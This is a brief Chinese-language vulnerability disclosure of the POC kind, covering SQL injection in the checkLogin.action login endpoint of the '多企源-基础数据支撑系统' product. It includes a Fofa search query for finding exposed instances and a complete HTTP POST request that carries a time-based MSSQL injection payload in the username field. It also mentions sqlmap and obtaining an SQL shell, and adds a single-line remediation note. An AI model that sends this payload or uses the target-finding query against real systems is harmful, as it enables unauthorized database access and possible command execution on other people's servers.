多企源-基础数据支撑系统 checkLogin.action SQL注入

0x01 漏洞描述：

多企源-基础数据支撑系统由于对用户输入校验不严格，导致存在sql注入漏洞，从而使得系统处于不安全的状态。此外由于该系统大部分使用的数据库为MSSQL，可能将导致命令执行漏洞。

0x02 搜索语句：

Fofa：app="多企源-基础数据支撑系统"

0x03 漏洞复现：

POST /json/checkLogin.action?usercfg.username=1%27;WAITFOR%20DELAY%20%270:0:5%27--&usercfg.password=admin&validateCode=e1Lg&loginType=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.57 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: zh-CN
Connection: keep-alive

sqlmap验证

在高权限系统中存在sql shell可自行验证。 

0x04 修复建议：

关闭互联网暴露面或接口设置访问权限